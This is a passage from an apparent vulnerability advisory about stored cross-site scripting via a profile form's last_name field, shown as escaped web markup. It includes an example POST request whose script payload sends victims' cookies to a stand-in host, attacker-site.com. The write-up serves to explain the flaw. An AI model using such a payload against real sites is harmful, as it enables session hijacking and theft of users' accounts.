When other users or administrators view these injected scripts, the scripts get executed within the context of their user session. This could allow the attacker to hijack user sessions, deface web sites, or redirect the user to malicious sites.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2042116334\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/projects\/profile HTTP\/1.1\nHost: vulnerable-site.com\nContent-Type: application\/x-www-form-urlencoded\nlast_name=&lt;script&gt;new Image().src=&#039;http:\/\/attacker-site.com\/steal.php?cookie=&#039;+document.cookie;&lt;\/script&gt;<\/code><\/pre>\n<p>In this example, the attacker sends a POST request to the vulnerable endpoint (&#8216;\/projects\/profile&#8217;) with a malicious payload in the last_name field.
